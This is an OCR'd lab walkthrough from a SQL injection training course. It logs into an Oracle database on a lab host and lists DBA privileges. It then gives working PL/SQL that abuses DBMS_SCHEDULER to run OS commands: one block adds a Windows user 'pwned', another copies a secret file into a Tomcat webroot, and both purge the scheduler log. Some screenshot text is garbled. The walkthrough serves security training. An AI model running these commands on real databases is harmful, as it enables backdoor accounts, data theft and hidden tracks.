SQL Injection Labs |

Challenge 26

Login to the oracle database based on the following information [Level: Intermediate]

Username: DBA1
Password: password1l
IP: 192.168.2.12
Port: 1521
SID: XE
e List the permissions/privileges of current user.

e Execute OS code.

Login to database

i Connection Wizard @

Connection Profiles | Add Connection Profile

[»

For help, click the following: Oracle Connection Help

Profile Name ~|dba
DRIVER INFO. Display Driver Details
CONNECTION TYPE
AUTHENTICATION
*IDBC [Oracle Thin 11g 10g 9i &i)
IDBC (Oracle 11g OCI Driver) Login |dbﬂl |

*IDBEC (Qracle 10g OCI Driver) Connect As default =

JDBC [Oracle 9i OCT Driver)

JDBC (Oracle 8i OCI Driver) Password |"'“"" |
IDBC Save Password

ODEBC

*RazorSQL JDBC Bridge DATABASE INFO.

Enter Multiple Hosts / Ports
Host or IP Address |192.168.2.12 |

* Drriver is shipped with RazorSQL

Port <1521> 1521 |

OService Name
@sp g |

Auto Commit @ on O Off O Smart Commit

— Read Read / Read / Write
L Restrictions (:) M 1 i i
o ony Write / Delete

Connect at Startup [ |

[4]

. ]
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Notice that already have DBA role. When you list your privileges, you will have all privileges.

select * from session_privs
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-3 APEX_040000 i
-C3 CTXSYS 1
(3 pBAL "
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[#-C3 MDSYS F]
3 ouTn 10
(3 pusuc i:
3 scotr it}
(3 sv5 14
(3 svsTEM 15
£3 x08 N

i

i

o

o

i

o

2

o

o

o

o

o

o

o

o

5
[«

I 27/27  Ln1Col28  Linesl INSERT WRITABLE in Cpl252 D

session_privs
PCEIEH Z $&46 % PDEHEESR & SEEE &
| PRIVILEGE |

1 ALTER SYSTEM

2 AUDIT SYSTEM

3 CREATE SESSION

4 ALTER SESSION

5 RESTRICTED SESSION
6  CREATE TABLESPACE

7 ALTER TABLESPACE

8  MANAGE TABLESPACE

9  DROP TABLESPACE

10 UNLIMITED TABLESPACE

11 CREATE USER

12  BECOME USER

13 ALTER USER

14 DROP USER

15 CREATE ROLLBACK SEGMENT
16  ALTER ROLLBACK SEGMENT
17 DROP ROLLBACK SEGMENT
18 CREATE TABLE

19 CREATE ANY TABLE

20 ALTER ANY TABLE

21 BACKUP ANY TABLE

The OS code can be executed using the feature DBMS_SCHEDULER which comes with Oracle.

begin

DBMS_SCHEDULER.create_program('my_prog', 'EXECUTABLE', 'net user pwned pwn3d!!
/add',0,TRUE);
DBMS_SCHEDULER.create_job(job_name=>'myjob11',program_name=>'myprogl1’,
start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);
dbms_lock.sleep(1);

dbms_scheduler.drop_program(program_name=>'myprogl1');

dbms_scheduler.purge_log;

end;
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(31 APEX 040000 & DBHS_SCHEDULER. creste_proaran| 'nyprogll’, EXECUTABLE', net us w3dtt /add 0, TRUE)
- 3 DONS_ SCHEDULER. create_job|J0b_nowe->'myjebl1'.progran_nsee=='syprogll’. start_date--MLL. repent_interval--NULL. and_date->MULL, anabled->TRUE, auto_drop=>TRUE!
01 coesrs 4 dbesTock. sleep(1]:
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This will add a user to the box (called pwned). You will not be able to see the output of the
command. The host is also running a tomcat server on port 8085, the webroot is:

C:\apache-tomcat-7.0.42-windows-x64\apache-tomcat-7.0.42\webapps\

You can copy the file ‘c:\secret.txt’ to the location C:\apache-tomcat-7.0.42-windows-x64\apache-
tomcat-7.0.42\webapps\docs and then read it in a web-browser:

begin

DBMS_SCHEDULER.create_program('myprogl1','EXECUTABLE','c:\WINDOWS\system32\cmd.exe /c
copy c:\secret.txt C:\apache-tomcat-7.0.42-windows-x64\apache-tomcat-
7.0.42\webapps\docs\userxx.txt',0,TRUE);

DBMS_SCHEDULER.create_job(job_name=>'myjob11',program_name=>'myprogl1’',start_date=>NU
LL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);

dbms_lock.sleep(1);
dbms_scheduler.drop_program(program_name=>'myprogl1');
dbms_scheduler.purge_log;

end;

Note: please make sure your filename(userxx.txt) is unique

PusaL ] e =] O [ovtput ot =]

systendZicod. exe /c copy c:\secret.txt Cilapache-toncat:7.0. 42-windows- x64) apache- tomcat -7. 0. 42\webapps\docs\ usercs. Ext .0, TRUE) ;
01l start_date=-MULL, repest_interval=-#ULL, end_date=-MULL, ensbled=-TRUE, suto_drap=-TRUE) ;

Now we can see this file by accessing the URL:
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é P 192.168.212:8085//docs/usenca bt
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